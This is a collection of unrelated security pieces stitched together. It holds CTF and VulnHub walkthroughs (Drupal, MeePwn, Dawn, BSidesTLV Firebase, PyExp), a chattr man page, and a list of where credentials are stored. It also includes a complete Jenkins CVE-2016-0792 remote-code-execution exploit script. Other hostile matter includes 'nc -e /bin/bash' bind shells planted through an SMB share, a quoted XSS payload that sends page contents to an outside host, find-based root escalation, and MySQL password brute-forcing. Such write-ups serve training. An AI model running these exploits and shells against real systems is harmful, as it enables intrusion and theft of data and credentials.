https://github.com/ffffffff0x/AboutSecurity/tree/master/Dic/Auth/password ```bash hashcat -m 7900 -a 0 source.txt pass01.txt -m 指定要破解的 hash 类型,如果不指定类型,则默认是 MD5 -a 指定要使用的破解模式,其值参考后面对参数。“-a 0”字典攻击,“-a 1” 组合攻击;“-a 3”掩码攻击。 source.txt 你要爆破的 hash 列表 pass01.txt 你的密码表 ``` 一切准备就绪,run 只跑出一个 MyPassword 后面 google 到了 admin 的密码 53cr3t 好,admin 的账号密码都有了,那么直接登录,可以看到 dashboard 里就有 flag3 ``` Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow. ``` --- # flag4 ```bash cat /etc/passwd ``` 发现一个 flag4 用户,直接看家目录文件 ```bash cat /home/flag4/flag4.txt ``` ``` Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is? ``` --- # flag5 这里使用 [LinEnum](https://github.com/rebootuser/LinEnum) 进行提权 kali 下载 ```bash git clone https://github.com/rebootuser/LinEnum.git ``` 下完了使用 HTTP 服务传过去 > 注: 如果 git速度太慢,可以给 git 或终端走代理 ```bash python -m SimpleHTTPServer 8080 ``` ```bash wget http://192.168.141.134:8080/LinEnum/LinEnum.sh ``` 从 kali 上下好后直接运行 ```bash bash LinEnum.sh ``` 可以通过 find 进行提权 ```bash find . -exec /bin/sh \; -quit ``` ``` ls /root cat /root/thefinalflag.txt ``` 提权成功,感谢靶机作者 @DCUA7,查看最终 flag --- # 补充 在 flag3 跑 hashcat 时,如果跑不出密码,除了 google 以外还有2种方式登录 admin 账号 - 直接数据库修改 Drupal users 表 - 通过 drush 修改 admin 用户的密码 **直接数据库修改 Drupal users 表** 我都爆出了 Fred 的明文 MyPassword 了,那我直接把 admin 的改成和 Fred 的一样不就行了 ```bash mysql -u dbuser -p use drupaldb; update users set pass='$S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg' where name='admin'; ``` ok 登上去了 **通过 drush 修改 admin 用户的密码** Drush是一个 shell 接口,用于从云服务器命令行管理 Drupal。 现在服务器上找找 drush,没有的话还得给他传一个 ``` find / -name drush /var/www/sites/all/modules/views/drush /var/www/sites/all/modules/ctools/drush /usr/local/bin/drush ``` 然后直接修改 admin 密码 ``` /usr/local/bin/drush user-password admin --password="admin" ``` 测试一下,ok 登上去了
sec-knowleage
# Ezchallz (crypto/web, 60 solved, 100p) In the task we get access to a webpage, where we could register, and we get redirected so a page with some fake flag. First thing we notice is that registration link is `http://206.189.92.209/ezchallz/?page=register` So we try some LFI there, and it works, we can do `http://206.189.92.209/ezchallz/?page=index` for example. So it will include any `php` file. Not very useful, since we don't have any, but there is another trick we can test here - PHP wrappers. We place base64 encode wrapper: `http://206.189.92.209/ezchallz/?page=php://filter/read=convert.base64-encode/resource=index` And we can recover the source code of the index and register files. Index has just: ```php <?php if(isset($_GET["page"]) && !empty($_GET["page"])) { $page = $_GET["page"]; if(strpos(strtolower($page), 'secret') !== false) { die('No no no!'); } // else if(strpos($page, 'php') !== false) { // die("N0 n0 n0!"); // } else { include($page . '.php'); } } ?> ``` So we can get anything but `secret.php`. Register has more interesting stuff: ```php <?php error_reporting(0); function gendirandshowflag($username) { include('secret.php'); $dname = ""; $intro = ""; $_username = md5($username, $raw_output = TRUE); for($i = 0; $i<strlen($salt); $i++) { $dname.= chr(ord($salt[$i]) ^ ord($_username[$i])); }; $dname = "users/" . bin2hex($dname); echo 'You have successfully register as ' . $username . '!\n'; if ($_username === hex2bin('21232f297a57a5a743894a0e4a801fc3')) { $intro = "Here is your flag:" . $flag; } else { $intro = "Here is your flag, but I'm not sure 🤔: \nMeePwnCTF{" . md5(random_bytes(16) . $username) . "}"; } mkdir($dname); file_put_contents($dname . '/flag.php', $intro); header("Location: ". $dname . "/flag.php"); } if (isset($_POST['username'])) { if ($_POST['username'] === 'admin') { die('Username is not allowed!'); } else { gendirandshowflag($_POST['username']); } } ?> ``` We can see that: 1. Directory name we get is constructed by XORing md5 of our username with some secret salt. 2. If the md5 of username we provide matches some random bytes, we get message `Here is your flag:` with the real flag. We can't really break this md5 of the special user, but since we can calculate md5 of our username, we can XOR this value with directory name we got to recover the salt. Now we know both the salt and md5 of special user, so we can calculate the real flag directory: ```python import hashlib import requests from crypto_commons.generic import xor_string def main(): username = "test" plain = hashlib.md5(username).digest() our_dir = "b8240bb93fb5c4321196ff675b7f98eb".decode("hex") salt = xor_string(our_dir, plain) admin = xor_string(hashlib.md5("admin").digest(), salt) admin_dir = admin.encode("hex") print((requests.get("http://206.189.92.209/ezchallz/users/%s/flag.php" % admin_dir)).text) main() ``` And we get: `MeePwnCTF{just-a-warmup-challenge-are-you-ready-for-hacking-others-challz?}`
sec-knowleage
# Dawn > https://download.vulnhub.com/sunset/dawn.zip 靶场IP:`192.168.32.20` 扫描对外端口服务 ``` ┌──(root㉿kali)-[~] └─# nmap -sV -p1-65535 192.168.32.20 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-13 23:11 EDT Nmap scan report for 192.168.32.20 Host is up (0.000092s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.38 ((Debian)) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 3306/tcp open mysql MySQL 5.5.5-10.3.15-MariaDB-1 MAC Address: 08:00:27:28:02:FE (Oracle VirtualBox virtual NIC) Service Info: Host: DAWN Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.95 seconds ``` 访问80端口 ![image-20220914111203693](../../.gitbook/assets/image-20220914111203693.png) 爆破目录 ``` ┌──(root㉿kali)-[~] └─# dirb http://192.168.32.20/ ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Tue Sep 13 23:15:13 2022 URL_BASE: http://192.168.32.20/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.32.20/ ---- + http://192.168.32.20/index.html (CODE:200|SIZE:791) ==> DIRECTORY: http://192.168.32.20/logs/ + http://192.168.32.20/server-status (CODE:403|SIZE:301) ---- Entering directory: http://192.168.32.20/logs/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Tue Sep 13 23:15:16 2022 DOWNLOADED: 4612 - FOUND: 2 ``` 访问:`/logs/` ![image-20220914111552593](../../.gitbook/assets/image-20220914111552593.png) 只能访问:`management.log` ``` ┌──(root㉿kali)-[~] └─# curl http://192.168.32.20/logs/management.log Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... ``` 查看共享目录 ``` ┌──(root㉿kali)-[~] └─# smbclient -L //192.168.32.20 Password for [WORKGROUP\root]: Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers ITDEPT Disk PLEASE DO NOT REMOVE THIS SHARE. IN CASE YOU ARE NOT AUTHORIZED TO USE THIS SYSTEM LEAVE IMMEADIATELY. IPC$ IPC IPC Service (Samba 4.9.5-Debian) Reconnecting with SMB1 for workgroup listing. Server Comment --------- ------- Workgroup Master --------- ------- WORKGROUP DAWN ``` 查看`ITDEPT`共享目录 ``` ┌──(root㉿kali)-[~] └─# smbclient //192.168.32.20/ITDEPT Password for [WORKGROUP\root]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Aug 2 23:23:20 2019 .. D 0 Fri Aug 2 23:21:39 2019 7158264 blocks of size 1024. 1283964 blocks available ``` 我们回到我们的终端并创建了名为"`product-control`"和"`web-control`"的文件。 我们使用此名称创建文件,因为之前在枚举 `management.log` 文件时,我们看到具有此名称的文件每分钟执行一次。 ![image-20220914120205822](../../.gitbook/assets/image-20220914120205822.png) 一次又一次,使用cron。我们还使用 echo 命令在这些文件中输入了 netcat shell 调用脚本。 ``` echo 'nc -e /bin/bash -lvp 1234 &' > product-control echo 'nc -e /bin/bash -lvp 1234 &' > web-control ``` SMB上传文件 ![image-20220914112751900](../../.gitbook/assets/image-20220914112751900.png) nc连接 ![image-20220914120525331](../../.gitbook/assets/image-20220914120525331.png) 寻找suid文件 ``` dawn@dawn:~$ find / -perm -u=s -type f 2>/dev/null find / -perm -u=s -type f 2>/dev/null /usr/sbin/mount.cifs /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/bin/su /usr/bin/newgrp /usr/bin/pkexec /usr/bin/passwd /usr/bin/sudo /usr/bin/mount /usr/bin/zsh /usr/bin/gpasswd /usr/bin/chsh /usr/bin/umount /usr/bin/chfn ``` 使用zsh提权 ![image-20230208134137331](../../.gitbook/assets/image-20230208134137331.png)
sec-knowleage
# Notes * Category: Cloud * 200 Points * Solved by the JCTF Team ## Description > I made an application that you can store your notes! > > Browse and feel free to use it for your purpose :) ## Solution We visit the attached website and find a react-based note-keeping application. It has a text box for providing notes, and a submit button. Adding a note will display it in the list of "Items for Update". Let's try to submit a new note and follow the browser Network tab in the Developer Tools to see what happens: ``` POST /google.firestore.v1.Firestore/Write/channel?database=projects%2Fnotes-d70f4%2Fdatabases%2F(default)&VER=8&gsessionid=QYHTLdO6w42YgFtBAi54B_fHkTiz0ZSqrg5M5vPdpcI&SID=WscmknaqQYD9YF-oZ1BZUw&RID=93137&AID=1&zx=oyum0qd2x67j&t=1 HTTP/1.1 Host: firestore.googleapis.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 443 Origin: https://notes.ctf.bsidestlv.com Alt-Used: firestore.googleapis.com Connection: keep-alive Referer: https://notes.ctf.bsidestlv.com/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site count=1 ofs=1 req0___data__={"streamToken":"GRBoQgKB9LW1","writes":[{"update":{"name":"projects/notes-d70f4/databases/(default)/documents/notes/HP265B9ykQyyj15TbAy9","fields":{"message":{"stringValue":"Test"},"uid":{"stringValue":"c2c8665c-0baf-7158-cb68-61ad8fe2d39b"}}},"currentDocument":{"exists":false}}]} ``` We see that the request is being sent to FireBase. It contains the contents of the note we've added (`"Test"`) and our user-id (`"c2c8665c-0baf-7158-cb68-61ad8fe2d39b"`). It also contains a path to the FireBase DB location (`"projects/notes-d70f4/databases/(default)/documents/notes/HP265B9ykQyyj15TbAy9"`) and a token (`"GRBoQgKB9LW1"`). We can find the FireBase API information in one of the Javascript files: ```javascript (this["webpackJsonpnotes-app"] = this["webpackJsonpnotes-app"] || []).push([ [0], { 20: function(e, t, n) {}, 21: function(e, t, n) {}, 25: function(e, t, n) { "use strict"; n.r(t); var c = n(6), s = n.n(c), a = n(14), i = n.n(a), o = (n(20), n(21), n(15)), r = n(12), d = (n(22), n(10)); n(26); d.a.initializeApp({ apiKey: "AIzaSyDv5Gb67XqGg25afcDEh7QhUVNmTYtJjME", authDomain: "notes-d70f4.firebaseapp.com", projectId: "notes-d70f4", storageBucket: "notes-d70f4.appspot.com", messagingSenderId: "905829683791", appId: "1:905829683791:web:2a16df7f50b7075632d03a", measurementId: "G-13RYWT5D31" }); var l = d.a, u = n(2); function j() { var e = function() { return (65536 * (1 + Math.random()) | 0).toString(16).substring(1) }; return e() + e() + "-" + e() + "-" + e() + "-" + e() + "-" + e() + e() + e() } var m = function() { var e = function() { var e = Object(c.useState)([]), t = Object(r.a)(e, 2), n = t[0], s = t[1]; return Object(c.useEffect)((function() { window.localStorage.getItem("uid") || window.localStorage.setItem("uid", j()); var e = l.firestore().collection("notes").where("uid", "==", window.localStorage.getItem("uid")).where("uid", "==", window.localStorage.getItem("uid")).onSnapshot((function(e) { var t = e.docs.map((function(e) { return Object(o.a)({ id: e.id }, e.data()) })); s(t) })); return function() { return e() } }), []), n }(), t = Object(c.useState)(""), n = Object(r.a)(t, 2), s = n[0], a = n[1]; return Object(c.useEffect)((function() { window.localStorage.getItem("uid") || window.localStorage.setItem("uid", j()) })), Object(u.jsx)("div", { className: "container mt-5", children: Object(u.jsx)("div", { className: "d-flex justify-content-center row", children: Object(u.jsxs)("div", { className: "col-md-6", children: [Object(u.jsxs)("div", { className: "p-4 bg-white notes", children: [Object(u.jsxs)("div", { className: "d-flex flex-row align-items-center notes-title", children: [Object(u.jsx)("h4", { children: "Q2 Goal notes" }), Object(u.jsx)("span", { className: "px-2 review-text ml-2 rounded", children: "review" })] }), Object(u.jsxs)("div", { className: "d-flex flex-row align-items-center align-content-center", children: [Object(u.jsx)("span", { className: "rounded info", children: "04/01/2020" }), Object(u.jsx)("span", { className: "dot" }), Object(u.jsx)("span", { className: "info", children: "Outlook notes" })] })] }), Object(u.jsxs)("div", { className: "bg-white p-1", children: [Object(u.jsx)("hr", {}), Object(u.jsxs)("div", { className: "keyupdates p-3", children: [Object(u.jsx)("h5", { children: "Items for update" }), e.map((function(e) { return Object(u.jsxs)("div", { className: "d-flex align-items-center keyupdates-text", id: e.id, children: [Object(u.jsx)("span", { className: "dot" }), Object(u.jsx)("span", { children: e.message })] }) }))] }), Object(u.jsx)("form", { onSubmit: function(e) { e.preventDefault(), l.firestore().collection("notes").add({ message: s, uid: window.localStorage.getItem("uid") }).then((function() { a("") })) }, children: Object(u.jsxs)("div", { className: "keyupdates p-3", children: [Object(u.jsx)("h5", { children: "Add new note" }), Object(u.jsx)("textarea", { name: "content", id: "noteContent", value: s, onChange: function(e) { return a(e.currentTarget.value) } }), Object(u.jsx)("button", { type: "submit", className: "btn btn-primary", id: "noteSubmit", children: "Submit a note" })] }) })] })] }) }) }) }, b = function(e) { e && e instanceof Function && n.e(3).then(n.bind(null, 27)).then((function(t) { var n = t.getCLS, c = t.getFID, s = t.getFCP, a = t.getLCP, i = t.getTTFB; n(e), c(e), s(e), a(e), i(e) })) }; i.a.render(Object(u.jsx)(s.a.StrictMode, { children: Object(u.jsx)(m, {}) }), document.getElementById("root")), b() } }, [ [25, 1, 2] ] ]); ``` There's nothing stopping us from connecting to the database ourselves, and [trying to extract public information](https://firebase.google.com/docs/firestore/quickstart#web-v8_1). We can even do it from within the browser console. We start with some initializations: ```javascript // Add the FireBase API: var script = document.createElement('script'); script.type = 'text/javascript'; script.src = "https://www.gstatic.com/firebasejs/8.7.1/firebase-app.js"; document.head.appendChild(script); var script = document.createElement('script'); script.type = 'text/javascript'; script.src = "https://www.gstatic.com/firebasejs/8.7.1/firebase-firestore.js"; document.head.appendChild(script); // Initialize Cloud Firestore through Firebase, based on API details we found earlier: var c = firebase.initializeApp({ apiKey: "AIzaSyDv5Gb67XqGg25afcDEh7QhUVNmTYtJjME", authDomain: "notes-d70f4.firebaseapp.com", projectId: "notes-d70f4", storageBucket: "notes-d70f4.appspot.com", messagingSenderId: "905829683791", appId: "1:905829683791:web:2a16df7f50b7075632d03a", measurementId: "G-13RYWT5D31" }); ``` Then try to read all the notes with: ```javascript c.firestore().collection("notes").get().then((querySnapshot) => { querySnapshot.forEach((doc) => { console.log(doc.id + ' => ' + doc.data().message); }); }); ``` That returns all the notes that all users entered. We can try to filter the results with: ```javascript c.firestore().collection("notes").get().then((querySnapshot) => { querySnapshot.forEach((doc) => { msg = doc.data().message; if (msg.includes("flag")) { console.log(doc.id + ' => ' + doc.data().message); } }); }); ``` We get back a reduced set, but none are related to the real flag: ``` 44FpMEvTNPNKeoglPjHJ => {{ flag }} 63b6NGGQ5jUwv7k3L3m9 => get flagz 8HW3Z6WVlkC0I46YJBJW => flag flag BZxcAsFOgx0J6gxxozaN => flag Gpr2edxdm0LG5dQDmxLC => flag Hq7yh4ztSiR9tjSRxMoW => flag JdypcM3GdARMjHCUhWIc => https://notes.ctf.bsidestlv.com/flag M0RoZ5H2eTJWMP9muSCC => flag NX5gdL8Ik5LYaBrqwmuo => flag Qnj8Kjs6s1M1q7CFqVFT => flag TWchL7XSijengBeVoPMo => flag ZNilD49Azmy6p1F7qQL3 => flag hKViy0uzya8463pRXw0u => flag jEBTGcVqFtw1whTIa6ji => flag lrHpCpc3rRSJ1seL6jA1 => flag print flag qys2Hpvk8rIY8EwNXteR => <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.min.js"></script> <div ng-app> {{constructor.constructor("fetch('/csp-two-flag').then(res=>{return res.text()}).then(body=>{fetch('//ene9q890m5b39.x.pipedream.net//?'+body)})")()}} </div> rmqyn3gmIB4Zzotz07VD => flag flag falg aflg fagl tOs2k1QA8gb8CuSvzkc7 => flag tkGxSUTglsrD6THWFAvs => flag yIwRMrBmazL3gxfRBjEw => flag ``` Searching for the flag format doesn't help either: ```javascript c.firestore().collection("notes").get().then((querySnapshot) => { querySnapshot.forEach((doc) => { msg = doc.data().message; if (msg.includes("BSidesTLV2021")) { console.log(doc.id + ' => ' + doc.data().message);… ``` Output: ``` YXqusb3Idw9IiGnYRe95 => BSidesTLV2021{a} fWnF69WMFib5oKxJbEMs => BSidesTLV2021 j2wgGvpP8mUAPxQefIOS => BSidesTLV2021 rHC22zGdjIXE1IzmPTAI => BSidesTLV2021 wwBdyuxLvKn7OOHKZaOW => BSidesTLV2021 ``` Up to now we've been trying to extract information from the `notes` collection. What if the flag is in another collection? After all, we can review all the notes in the `notes` collection, and if nothing there seems useful we must find another place to look at. The public JS APIs apparently don't allow listing all collections, but we can try to guess the name and see if we're lucky. For example, `flag`: ```javascript c.firestore().collection("flag").get().then((querySnapshot) => { querySnapshot.forEach((doc) => { console.log(doc.id + ' => ' + doc.data().message); }); }); ``` We get a single result: ``` 2JjBihwBuGKEFjA36pOw => BSidesTLV2021{F1r3B4s31sn0ts0s3cur3d} ```
sec-knowleage
.\" -*- nroff -*- .TH CHATTR 1 "1999年11月" "E2fsprogs version 1.18" .SH NAME(名称) chattr \- 修改 Linux 文件系统中的文件属性 .SH SYNOPSIS(总览) .B chattr [ .B \-RVf ] [ .B \-v .I 版本 ] [ .B \-p .I project ] [ .I mode ] .I files... .SH DESCRIPTION(描述) .B chattr 修改文件在 Linux 文件系统中的特有属性。 .PP 符号模式有 +-=[aAcCdDeijsStTu] 几种格式. .PP 操作符`+'用来在文件已有属性的基础上增加选定的属性; `-'用来去掉文件上的选定的属性;而`='用来指定该文件的唯一属性. .PP 字符`ASacdisu'用作文件新属性的选项: 不更新atime(A),同步更新(S),只能添加(a), 压缩(c),不可变(i),不可转移(d),删除保护(s)以及不可删除(u). .SH OPTIONS(选项) .TP .B \-R 递归地修改目录以及其下内容的属性. 如果在递归目录时遇到了符号链接,遍历将跳过. .TP .B \-V 详尽地给出chattr的输出信息并打印出程序的版本. .TP .BI \-v " version" 设置文件系统的版本. .SH ATTRIBUTES(属性) 当修改设置了'A'属性的文件时,它的atime记录不会改变. 这可以在笔记本电脑系统中避免某些磁盘I/O处理. .PP 设置了`a'属性的文件只能在添加模式下打开用于写入. 只有超级用户可以设置或清除该属性. .PP 设置了`c'属性的文件在磁盘上由内核自动进行压缩处理. 从该文件读取时返回的是未压缩的数据. 对该文件的一次写入会在保存它们到磁盘之前进行数据压缩. .PP 设置了`d'属性的文件不能对其运行 .BR dump (8) 程序进行备份. .PP 设置了`i'属性的文件不能进行修改:你既不能删除它, 也不能给它重新命名,你不能对该文件创建链接, 而且也不能对该文件写入任何数据. 只有超级用户可以设置或清除该属性. .PP 当删除设置了`s'属性的文件时,将对其数据块清零 并写回到磁盘上. .PP 当修改设置了`S'属性的文件时, 修改会同步写入到磁盘上;这与应用 到文件子系统上的`sync'挂载选项有相同的效果. .PP 当删除设置了`u'属性的文件时, 将会保存其内容. 这使得用户可以请求恢复被删除的文件. .PP .SH AUTHOR(作者) .B chattr 的作者为Remy Card <card@masi.ibp.fr>, 他是ext2 fs的开发和维护者. .SH BUGS AND LIMITATIONS(BUGS和局限性) 对于ext2 fs 0.5a来说,`c'和`u'属性是不被 内核代码所承认的. 对于Linux 2.0内核而言,'A'属性也是不被 内核代码所支持的. (noatime代码仍在测试中.) .PP 这些属性将在未来的ext2 fs版本中实现. .SH AVAILABILITY(怎样获取) .B chattr 是e2fsprogs包的一部分, 你可以通过 对tsx-11.mit.edu的匿名ftp访问在 /pub/linux/packages/ext2fs下找到它. .SH SEE ALSO(另见) .BR lsattr (1), .BR btrfs (5), .BR ext4 (5), .BR xfs (5) .SH "[中文版维护人]" .B riser <boomer@ccidnet.com> .SH "[中文版最新更新]" .BR 2001/08/08 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# T1555-005-win-常见凭据存放位置 ## 来自ATT&CK的描述 攻击者可能从第三方密码管理器中获取用户凭证。密码管理器是存储用户凭证的应用程序,通常是在一个加密的数据库中。在用户提供主密码解锁数据库后,通常可以获得凭证。数据库被解锁后,这些凭证可以被复制到内存中。这些数据库可以以文件形式存储在磁盘上。 攻击者可以通过从内存中提取主密码或纯文本凭证,从密码管理器中获取用户凭证。攻击者可以通过密码猜解获得主密码从内存提取凭证。 ## 测试案例 navicat ```yml MySQL:HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\<your connection name> MariaDB:HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\<your connection name> MongoDB:HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\<your connection name> Microsoft SQL:HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\<your connection name> Oracle:HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\<your connection name> PostgreSQL:HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\<your connection name> SQLite:HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\<your connection name> ``` SecureCRT: ```yml xp/win2003:C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions win7/win2008以上:C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions ``` Xshell: ```yml Xshell 5:%userprofile%\Documents\NetSarang\Xshell\Sessions Xshell 6:%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions ``` WinSCP: ```yml HKCU\Software\Martin Prikryl\WinSCP 2\Sessions ``` VNC: ```yml RealVNC HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver Password TightVNC HKEY_CURRENT_USER\Software\TightVNC\Server Value Password or PasswordViewOnly TigerVNC HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 Password UltraVNC C:\Program Files\UltraVNC\ultravnc.ini passwd or passwd2 ``` ## 检测日志 暂未做相关研究,无检测日志 ## 测试复现 暂无 ## 测试留痕 暂无 ## 检测规则/思路 暂无 ## 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1555-005 <https://attack.mitre.org/techniques/T1555/005/> 红蓝对抗之Windows内网渗透 <https://blog.csdn.net/Tencent_SRC/article/details/107853395?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-4.readhide&spm=1001.2101.3001.4242>
sec-knowleage
#! /usr/bin/env python2 #Jenkins Groovy XML RCE (CVE-2016-0792) #Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins #Made with <3 by @byt3bl33d3r from __future__ import print_function import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import argparse import sys parser = argparse.ArgumentParser() parser.add_argument('target', type=str, help='Target IP:PORT') parser.add_argument('command', type=str, help='Command to run on target') parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)') if len(sys.argv) < 2: parser.print_help() sys.exit(1) args = parser.parse_args() if len(args.target.split(':')) != 2: print('[-] Target must be in format IP:PORT') sys.exit(1) if not args.command: print('[-] You must specify a command to run') sys.exit(1) ip, port = args.target.split(':') print('[*] Target IP: {}'.format(ip)) print('[*] Target PORT: {}'.format(port)) xml_formatted = '' command_list = args.command.split() for cmd in command_list: xml_formatted += '{:>16}<string>{}</string>\n'.format('', cmd) xml_payload = '''<map> <entry> <groovy.util.Expando> <expandoProperties> <entry> <string>hashCode</string> <org.codehaus.groovy.runtime.MethodClosure> <delegate class="groovy.util.Expando" reference="../../../.."/> <owner class="java.lang.ProcessBuilder"> <command> {} </command> <redirectErrorStream>false</redirectErrorStream> </owner> <resolveStrategy>0</resolveStrategy> <directive>0</directive> <parameterTypes/> <maximumNumberOfParameters>0</maximumNumberOfParameters> <method>start</method> </org.codehaus.groovy.runtime.MethodClosure> </entry> </expandoProperties> </groovy.util.Expando> <int>1</int> </entry> </map>'''.format(xml_formatted.strip()) print('[*] Generated XML payload:') print(xml_payload) print() print('[*] Sending payload') headers = {'Content-Type': 'text/xml'} r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload) paths_in_trace = ['jobs/rand_dir/config.xml', 'jobs\\rand_dir\\config.xml'] if r.status_code == 500: for path in paths_in_trace: if path in r.text: print('[+] Command executed successfully') break
sec-knowleage
# PyExp > https://download.vulnhub.com/pyexp/pyexpvm.zip 靶场IP地址:`192.168.2.137` 扫描对外端口服务 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p1-65535 -sV 192.168.2.137 1 ⨯ Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-06 11:35 EDT Nmap scan report for 192.168.2.137 Host is up (0.00055s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 1337/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 3306/tcp open mysql MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1 MAC Address: 00:0C:29:42:B2:78 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 2.23 seconds ``` 爆破MySQL服务 ``` ┌──(root💀kali)-[/tmp] └─# hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.2.137 -t 64 255 ⨯ Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-06 11:38:57 [INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections) [DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task [DATA] attacking mysql://192.168.2.137:3306/ [STATUS] 2041.00 tries/min, 2041 tries in 00:01h, 14342358 to do in 117:08h, 4 active [3306][mysql] host: 192.168.2.137 login: root password: prettywoman 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 1 final worker threads did not complete until end. [ERROR] 1 target did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-06 11:41:54 ``` 登录MySQL查询信息 ```shell ┌──(root💀kali)-[/tmp] └─# mysql -u root -p -h 192.168.2.137 Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 20017 Server version: 10.3.23-MariaDB-0+deb10u1 Debian 10 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | data | | information_schema | | mysql | | performance_schema | +--------------------+ 4 rows in set (0.001 sec) MariaDB [(none)]> use data; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [data]> show tables; +----------------+ | Tables_in_data | +----------------+ | fernet | +----------------+ 1 row in set (0.001 sec) MariaDB [data]> select * from fernet; +--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+ | cred | keyy | +--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+ | gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys= | UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0= | +--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+ 1 row in set (0.001 sec) ``` 根据表名和内容可以知道,是要用fernet解密内容 ```python from cryptography.fernet import Fernet key = "UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=" cred = "gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=" f = Fernet(key) # convert from string to bytes cred_byte = str.encode(cred) # decrypt decrypted = f.decrypt(cred_byte) # convert back to string from bytes decrypted_final = decrypted.decode() # print the final answer print(decrypted_final) ``` ``` ┌──(root💀kali)-[/tmp] └─# python3 exp.py lucy:wJ9`"Lemdv9[FEw- ``` ssh登录lucy账号,查看sudo列表 ``` ┌──(root💀kali)-[/tmp] └─# ssh -p 1337 lucy@192.168.2.137 lucy@192.168.2.137's password: Linux pyexp 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. 